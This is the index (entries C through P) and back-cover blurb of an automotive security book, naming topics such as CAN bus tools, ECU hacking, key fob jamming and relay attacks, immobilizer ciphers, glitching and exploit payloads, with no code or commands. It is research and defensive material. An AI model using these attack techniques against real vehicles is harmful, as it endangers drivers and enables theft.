can_dev module, 37–38
CANdiy-shield, 242
candump utility (can-utils package), 

41, 70
canfdtest tool (can-utils 

package), 42
cangen command (can-utils 

package), 42
cangw tool (can-utils package), 42
CANH (CAN high) wires, 16–17
CANiBUS server, 248
can-isotp.ko module (can-utils 

package), 43–44
CANL (CAN low) wires, 16–17
canlogserver utility (can-utils 

package), 42
CANopen protocol, 20
canplayer command (can-utils 

package), 42
cansend tool (can-utils package), 42
cansniffer tool (can-utils package), 

42, 71–72
CANtact, 242–243
CANUSB dongle, 244
can-utils package, 20

asc2log tool, 41
bcmserver tool, 41

canbusload tool, 41
can-calc-bit-timing command, 41
candump utility, 41
canfdtest tool, 42
cangen command, 42
cangw tool, 42
can-isotp.ko module, 43–44
canlogserver utility, 42
canplayer command, 42
cansend tool, 42
cansniffer, 42
configuring built-in chipsets, 

37–38
configuring serial CAN devices, 

39–40
finding door-unlock control, 

77–78
installing, 36–37
installing additional kernel 

modules, 42–43
isotpdump tool, 42
isotprecv utility, 42
isotpsend command, 42
isotpserver tool, 42
isotpsniffer, 42
isotptun utility, 42
log2asc tool, 42
log2long command, 42
recording and playing back 

packets, 73
setting up virtual CAN network, 

40–41
slcan_attach tool, 42
slcand daemon, 42
slcanpty tool, 42

CARB (California Air Resources 
Board), 33

Carberry controller, 243
CaringCaribou (CC), 58–60, 249
CAs (certificate authorities), 188
CC (CaringCaribou), 58–60, 249
CDR (crash data retrieval) tools, 62
cellular networks

V2V communication and, 178
vulnerabilities, 7–8

certificate authorities (CAs), 188
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certificate provisioning, 189–190
certificate revocation list (CRL), 

190, 191–192
Character Sheet, Open Garages, 

255–259
chip tuning. See also reverse 

engineering CAN bus
EPROM programmers, 236–237
ROM emulators, 237–238

ChipKit board, 243
chipping process, 236
chipsets

configuring, 37–38
identifying, 128–130

ChipWhisperer, 134–135, 246
ChipWhisperer ADC, 143–144
installing, 135–137
Main Window settings for clock-

glitch attack, 151
prepping Victim Board, 

137–138
scripting with Python, 147–148
setting up for serial 

communication, 140–141
Chrysler

SAE J1850 protocol, 20
VPW protocol, 22

ChuangZhou CAN-Bus shield, 242
circuit boards

chips, 128–130
model numbers, 128

CKP (crankshaft position),  
121–122, 124

clock glitching, 148–154
COB-ID (communication object 

identifier), 20
code analysis, 106–107

interactive disassemblers, 
110–112

plain disassemblers, 107–110
codes, DTC, 52–53
coding SocketCAN applications

connecting to CAN socket, 
44–45

procfs interface, 45–46
setting up CAN frame, 45

common vulnerability scoring 
system (CVSS), 13

communication object identifier 
(COB-ID), 20

connectors (IVI system), 166–170
control blocks, MOST bus protocol, 

25–26
control channel, MOST bus 

protocol, 25
Controller Area Network bus 

protocol. See CAN 
(Controller Area 
Network) bus protocol

cooperative awareness messages 
(CAMs), 181–183

crankshaft position (CKP),  
121–122, 124

Crash Avoidance Metrics 
Partnership (CAMP), 
186–187

crash data retrieval (CDR) tools, 62
CRC32 hash, 162
crc32 tool, 162
creative packet analysis, 76–80
CRL (certificate revocation list), 

190, 191–192
CrossChasm C5 data logger, 245
ctrl_tx utility, 26
CVSS (common vulnerability 

scoring system), 13
cycles, FlexRay, 28–29

D
.dat files, 160
data length code (DLC), 19
data visualization tools, 100
DB9-to-OBDII connector, 32–33
debugging hardware

Advanced User Debugger, 
133–134

JTAG protocol, 130–132
Nexus, 133–134
Serial Wire Debug, 132–133

decentralized environmental 
notification messages 
(DENMs), 183–184
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dedicated short-range commu-
nication protocol. See 
DSRC (dedicated short-
range communication) 
protocol

definitions (def ) file, 239
DENMs (decentralized 

environmental 
notification messages), 
183–184

Department of Defense (DoD) 
threat rating system, 13

detonation (autoignition), 235
device under test (DUT), 137–138
DFRobot CAN-Bus shield, 242
diagnostic link connector (DLC), 

17, 51, 119. See also 
diagnostics and logging

diagnostic trouble codes.  
See DTCs

diagnostics and logging, 51–65
automated crash notification 

systems, 64
diagnostic trouble codes, 33, 

52–54
event data recorder, 61–63
malicious intent, 64–65
Unified Diagnostic Services, 

54–61
dictionary attacks, 218
differential signaling, 16
DIP (dual in-line package) 

chips, 236
disassemblers

Dis51, 106
Dis66k, 106
interactive, 110–112
plain, 107–110

disassembling IVI unit, 168
DLC (data length code), 19
DLC (diagnostic link connector), 

17, 51, 119. See also 
diagnostics and logging

.dll files, 160
DoD (Department of Defense) 

threat rating system, 13

door-unlock control
finding with can-utils package, 

77–78
finding with Kayak, 76–77

DREAD rating system, 11–13
DSRC (dedicated short-range 

communication) 
protocol, 179–180

defined, 178
features and uses, 180–181
roadside systems, 181–184
tracking vehicles with, 186
WAVE standard, 184–186

DST-40 algorithm, 225–226
DST-80 algorithm, 226
DTCs (diagnostic trouble codes)

codes, 52–53
erasing, 54
faults, 52
OBD-III standard and, 33
scan tools, 54

dual in-line package (DIP) 
chips, 236

dumping transponder memory, 218
DUT (device under test), 137–138
DVD checks (IVI system), 164–165
dynamic segment (FlexRay cycles), 

28, 30

E
ECU (engine/electronic control 

unit). See also ECU 
hacking; ECU test 
benches; embedded 
systems

block diagrams, 118–119
finding, 116–117
pinouts, 118
TPMS connection, 8–9
tuning, 235–239

ECU hacking, 91–92
backdoor attacks, 95
code analysis, 106–112
exploits, 95–96
front door attacks, 92–95
reversing firmware, 96–105
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ECU test benches, 115–126
hall effect sensors, 121–122
simulating sensor signals, 

120–121
simulating vehicle speed, 

123–126
ECU tuning, 235–236

chip tuning, 236–238
flash tuning, 238–239

EDR (event data recorder), 61–62
reading data from, 62
restraint control module, 63
SAE J1698 standard, 63
sensing and diagnostic 

module, 63
Ege, Barış, 222
electronic control unit. See ECU 

(engine/electronic 
control unit)

electronic controllers, 91. See also 
ECU hacking

ELLSI (Ethernet low-level socket 
interface), 158

ELM327 chipset, 54, 243–244
ELM-USB connector, 244
EM Micro Megamos algorithm, 

221–223
EM4237 algorithm, 223
embedded systems, 127. See also 

wireless systems
circuit boards, 128–130
debugging hardware, 130–134
fault injection, 148–156
power-analysis attacks, 138–148
side-channel analysis, 134–138

emissions, performance tuning 
and, 234–235

EMS PCMCIA card, 37
end-of-data (EOD), VPW 

protocol, 22
engine control unit. See ECU 

(engine/electronic 
control unit)

EOD (end-of-data), VPW 
protocol, 22

epidemic distribution model, 191
EPROM programmers, 236–237

Ethernet, 30–31, 158
Ethernet low-level socket interface 

(ELLSI), 158
ETSI (European Tele

communications 
Standards Institute)

cooperative awareness messages, 
181–183

decentralized environmental 
notification messages, 
183–184

Ettus Research, 210
European DSRC system, 180–181
European Telecommunications 

Standards Institute. 
See ETSI

Evenchick, Eric, 242
event data recorder. See EDR (event 

data recorder)
events

event data recorder, 61–63
triggering with TPMS, 214–215

EVTV due board, 244–245
EVTV.me, 248
.exe files, 160
exploits, 95–96

responsible exploitation, 208
writing in C code, 194–202

extended packets, CAN bus 
protocol, 19

F
fault injection

clock glitching, 148–154
defined, 148
invasive, 156
power glitching, 156
setting trigger line, 154–155

faults, 52
field-programmable gate array 

(FPGA) board, 149, 225
file command, 160
fire-and-forget structure (CAN 

packets), 55
firmware, reversing, 96–105
flash tuning (flashing), 238–239
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FlexRay bus protocol, 27–30
cycles, 28–29
hardware, 27
network topology, 27
packet layout, 29–30
sniffing, 30
time division multiple access 

scheme, 27–28
Ford Motor Company

MAF transfer graph, 98
OpenXC, 84–88
PWM protocol, 21
restraint control module, 63

forged packets, sending with 
TPMS, 215

forward-prediction attacks, 218
FPGA (field-programmable gate 

array) board, 149, 225
frame ID, FleyRay packet, 30
Freematics OBD-II Telematics 

Kit, 242
freeze frame data, 52
frequency-shift keying (FSK) 

modulation, 211
front door attacks

J2534-1 standard, 92–93
KWP2000, 94
seed-key algorithms, 94–95

FSK (frequency-shift keying) 
modulation, 211

Future Technology Devices 
International, Ltd 
(FTDI), 39

fuzzing, 64, 88

G
Garcia, Flavio D., 222, 225
General Motors

GMLAN bus, 20
pinout, 31–32
SAE J1850 protocol, 20
sensing and diagnostic 

module, 63
VPW protocol, 22

Generalized Vehicle Reverse 
Engineering Tool 
(GVRET), 245

glitching
clock, 148–154
defined, 148
invasive, 156
power, 156
setting trigger line, 154–155

GMLAN bus, 20
GNU binutils disassembler, 106
GNU Radio Companion (GRC), 

210, 216
Go language, 248
Goodspeed, Travis, 244
GoodThopter board, 244
Gqrx SDR, 216
GRC (GNU Radio Companion), 

210, 216
Great Scott Gadgets, 210, 245
GVRET (Generalized Vehicle 

Reverse Engineering 
Tool), 245

H
HackRF One, 210
HackRF SDR, 245
Hall effect sensors, 121–122
hard (permanent) DTCs, 54
hard faults, 52
hardware

Arduino shields, 242
attacking IVI system via, 

166–170
CAN bus Y-splitter, 245
CAN232 dongle, 244
CANBus Triple board, 245
CANtact, 242–243
CANUSB dongle, 244
ChipKit board, 243
ChipWhisperer, 246
CrossChasm C5 data logger, 245
debugging, 130–134
ELM327 chipset, 243–244
ELM-USB connector, 244
EVTV due board, 244–245
FlexRay bus protocol, 27
Freematics OBD-II Telematics 

Kit, 242
GoodThopter board, 244
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hardware, continued
HackRF SDR, 245
MegaSquirt, 239–240
Raspberry Pi, 243
Red Pitaya board, 246
USB2CAN converter, 244
USRP SDR, 246
VSCOM adapter, 244

hashing, 162–163
header bits (VPW protocol), 22
header CRC (FlexRay packet), 

29, 30
hex editors, 100
high-speed CAN (HS-CAN) lines, 

18, 32, 38
high-speed synchronous interface 

(HSI), 10, 13–14
Hitag 1 algorithm, 224
Hitag 2 algorithm, 224–225
Hitag AES algorithm, 225
Horauer, Martin, 30
hotwiring, 230
HS-CAN (high-speed CAN) lines, 

18, 32, 38
HSI (high-speed synchronous 

interface), 10, 13–14
hybrid approach, V2V 

communication, 178

I
ICSim (instrument cluster 

simulator)
changing difficulty of, 84
reading CAN traffic on, 83
setting up, 81–83

IDA Pro disassembler, 106, 110
identifier extension (IDE), 19
idle segment (FlexRay cycles), 28
IEEE 802.1AS standard, 31
IFR (in-frame response) data, VPW 

protocol, 22
Immo Emulators, 228
immobilizer systems, 220–221

defined, 8
DST-40, 225–226
DST-80, 226
EM Micro Megamos, 221–223

EM4237, 223
Hitag 1, 224
Hitag 2, 224–225
Hitag AES, 225
Keeloq, 226–227
Open Source Immobilizer 

Protocol Stack, 227
physical attacks on, 228–230

infotainment console, 5–6, 9. See 
also IVI system

in-frame response (IFR) data, VPW 
protocol, 22

instrument cluster simulator. 
See ICSim

intelligent transportation 
system, 177

interactive disassemblers, 110–112
interactive probing method, for 

determining vehicle 
make, 203–204

internal network controls (IVI 
systems), 158

Intrepid Control Systems, 252
invasive fault injection, 156
in-vehicle infotainment system. 

See IVI (in-vehicle 
infotainment) system

IPv4 passive fingerprinting, 205
IPv6 protocol, 185
ISO 15765-2 (ISO-TP) protocol, 

19–20, 55
ISO 26262 ASIL rating system, 

11, 13
ISO 9141-2 (K-Line) bus protocol, 23
ISO-TP (ISO 15765-2) protocol, 

19–20, 55
isotpdump tool (can-utils 

package), 42
isotprecv utility (can-utils 

package), 42
isotpsend command (can-utils 

package), 42
isotpserver tool (can-utils 

package), 42
isotpsniffer (can-utils package), 42
isotptun utility (can-utils 

package), 42
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IVI (in-vehicle infotainment) 
system, 157–158

acquiring OEM system for 
testing, 174–175

attack surfaces, 158
attacking hardware, 166–170
attacking through update 

system, 158–165
test benches, 170–174

J
J2534-1 standard, 92

shims, 93
sniffers and, 93
tools, 93

jamming signal, key fobs, 216–217
JSON format, 86
JTAG protocol

debugging with, 131–132
defined, 130
JTAGulator, 131

JTAGulator, 131

K
Kamkar, Samy, 217
Kayak, 248

finding arbitration IDs, 79–80
finding door-unlock control, 

76–77
recording and playing back 

packets, 73–75
socketcand and, 46–49

Keeloq algorithm, 226–227
kernel device manager (udev), 11
key fobs, 215–216

amplified relay attack, 220
brute-forcing key code, 217
dictionary attacks, 218
dumping transponder 

memory, 218
forward-prediction attacks, 218
jamming signal, 216–217
passive keyless entry and start 

systems, 219–220
pulling response codes, 217
reversing CAN bus, 218–219

transponder duplication 
machines, 219

vulnerabilities, 8
keyslot-only state (FlexRay 

cycles), 29
Keyword Protocol 2000 (KWP2000) 

bus protocol, 22–23, 94
Kidder, Collin, 248
K-Line (ISO 9141-2) bus protocol, 23
Komodo CAN bus sniffer, 251–252
Kvaser Driver, 11
KWP2000 (Keyword Protocol 2000) 

bus protocol, 22–23, 94

L
LA (linkage authority), 192
LAWICEL AB, 244
LAWICEL protocol, 242, 244
Level 0 (bird’s eye view) threats, 3, 

6–7
Level 1 (receivers) threats, 4, 7–10
Level 2 (receiver breakdown) 

threats, 5–6, 10–11
LF (low-frequency) RFID chip, 219
library procedures, 97
LIN (Local Interconnect Network) 

bus protocol, 24
linkage authority (LA), 192
Linux. See also SocketCAN

Automotive Grade Linux 
system, 173–174

ELM327 chipset and, 243–244
FlexRay network and, 30
GENIVI system and, 170–173
hashing tools, 162
ICSim, 81–84
infotainment systems, 5–6
installing ChipWhisperer 

software, 135–137
most4linux project, 26–27
Raspberry Pi, 243
tools, 162, 247

LNA (low-noise amplifier), 213
Local Interconnect Network (LIN) 

bus protocol, 24
location obscurer proxy (LOP), 190
log2asc tool (can-utils package), 42
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log2long command (can-utils 
package), 42

long-term certificate (LTC), 188
LOP (location obscurer proxy), 190
low-frequency (LF) RFID chip, 219
low-noise amplifier (LNA), 213
low-number-of-coldstarters state 

(FlexRay cycles), 29
low-speed CAN (LS-CAN) lines, 18, 

32, 38
LTC (long-term certificate), 188

M
MA (misbehavior authority), 192
macroticks, 28
MAF (mass air flow) sensor, 97
malfunction indicator lamp (MIL), 

51, 52
malicious intent, 64–65
Manchester encoding, 214
mass air flow (MAF) sensor, 97
MCU (microcontroller unit), 

101, 120
MD5 hash, 162
md5sum tool, 162
Media Oriented Systems Transport 

bus protocol. See MOST 
(Media Oriented Systems 
Transport) bus protocol

Megamos cryptographic system, 
221–222

MegaSquirt hardware, 239–240
Meier, Jan-Niklas, 41, 46
memory chips, 95
Metasploit, 193–194, 200–202
microcontroller unit (MCU), 

101, 120
mid-speed CAN (MS-CAN) 

lines, 18
MIL (malfunction indicator lamp), 

51, 52
MIL-STD-882E rating system, 11, 13
misbehavior authority (MA), 192
misbehavior reports, V2V 

communication, 192

Moates ROM adapter board, 237
model numbers, circuit boards, 128
modes, diagnostic code, 57–60, 

253–254
MOST (Media Oriented Systems 

Transport) bus protocol, 
24–25

control blocks, 25–26
hacking, 26–27
network layers, 25

most4linux driver, 26–27
most_aplay utility, 26
MS-CAN (mid-speed CAN) 

lines, 18
MultiTarget Victim Board

ChipWhisperer, 135
set for glitching, 149

Murphy, Austin, 246

N
NAD (node address for 

diagnostics), 24
National Highway Traffic Safety 

Administration 
(NHTSA), 62

NavTeq infotainment unit, 159
NeoIV devices, 252
network layers, MOST bus 

protocol, 25
network sniffers. See sniffers
NewAE Technologies, 245
Nexus interface, 133–134
NHTSA (National Highway 

Traffic Safety 
Administration), 62

Nissan
MAF VQ graph, 98
plain dissassembly of 1990 

300ZX Twin Turbo ROM, 
107–110

NLFSR (nonlinear feedback shift 
register), 226

node address for diagnostics 
(NAD), 24

nonlinear feedback shift register 
(NLFSR), 226
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no-operation instructions 
(NOPs), 164

NULL values, removing from code, 
199–200

O
O2OO data logger, 249
OBD2 ScanTool, 246
OBD-II connector, 17, 51, 119. See 

also diagnostics and 
logging

OBD-III bus protocol, 33–34
OBDTester.com, 244
Octane CAN bus sniffer, 250
OEM (original equipment 

manufacturer)
front door attacks, 92
testing IVI system, 174–175

OLS300 emulator, 238
on-off keying (OOK), 211
Open Garages, 81, 205, 241, 248, 

255–259
Open Source development site, 35
Open Source Immobilizer Protocol 

Stack, 227
Open Systems Interconnection 

(OSI) model, 25
OpenXC, 84–85

hacking, 87–88
translating CAN bus messages, 

85–86
writing to CAN bus, 86

optical glitches, 132
original equipment manufacturer. 

See OEM (original equip-
ment manufacturer)

OSI (Open Systems 
Interconnection) 
model, 25

Ostrich2 emulator, 237

P
parameter IDs (PIDs), 57–60, 254
passband, RFID receiver, 216
passive CAN bus fingerprinting, 

204–207

passive keyless entry and start 
(PKES) systems, 219–220

passwords
monitoring power usage when 

entering, 145–147
setting custom password, 

141–143
payload length, FlexRay packet, 30
payloads, 193–194, 200–202. See 

also weaponizing CAN 
findings

PC (pseudonym certificate), 189
PCA (Pseudonym Certificate 

Authority), 190
PCM (powertrain control module), 

33, 51
PEAK-System PCAN-USB 

adapter, 38
performance tuning, 233–234

ECU tuning, 235–239
stand-alone engine 

management, 239–240
trade-offs, 234–235

permanent (hard) DTCs, 54
PF_CAN protocol family, 36
PICAN CAN-Bus board, 243
PIDs (parameter IDs), 57–60, 254
PKES (passive keyless entry and 

start) systems, 219–220
PKI (public key infrastructure) 

systems, 188
anonymous certificates, 189
certificate provisioning, 

189–190
certificate revocation list, 

191–192
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software. See also names of specific 

software
AVRDUDESS GUI, 251
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TCM (transmission control 
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ECU hacking
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234–235

transmission control module 
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transmission control unit (TCU), 91. 
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key fobs
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Enhancement, 
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management, 239–240
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acronyms, 179
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Modern cars are more computerized than ever. 
Infotainment and navigation systems, Wi-Fi, 
automatic software updates, and other inno-
vations aim to make driving more convenient. 
But vehicle technologies haven’t kept pace 
with today’s more hostile security environ-
ment, leaving millions vulnerable to attack.

The Car Hacker’s Handbook will give you a 
deeper understanding of the computer sys-
tems and embedded software in modern 
vehicles. It begins by examining vulner-
abilities and providing detailed explanations 
of communications over the CAN bus and 
between devices and systems.  

Then, once you have an understanding of a 
vehicle’s communication network, you’ll learn 
how to intercept data and perform specific 
hacks to track vehicles, unlock doors, glitch 
engines, flood communication, and more. 
With a focus on low-cost, open source hacking 
tools such as Metasploit, Wireshark, Kayak, 
can-utils, and ChipWhisperer, The Car Hacker’s 
Handbook will show you how to: 

	 Build an accurate threat model for your 
vehicle

	 Reverse engineer the CAN bus to fake 
engine signals

	 Exploit vulnerabilities in diagnostic and 
data-logging systems

	 Hack the ECU and other firmware and 
embedded systems

	 Feed exploits through infotainment and 
vehicle-to-vehicle communication systems

	 Override factory settings with performance-
tuning techniques

	 Build physical and virtual test benches to 
try out exploits safely

If you’re curious about automotive security 
and have the urge to hack a two-ton com
puter, make The Car Hacker’s Handbook your 
first stop.
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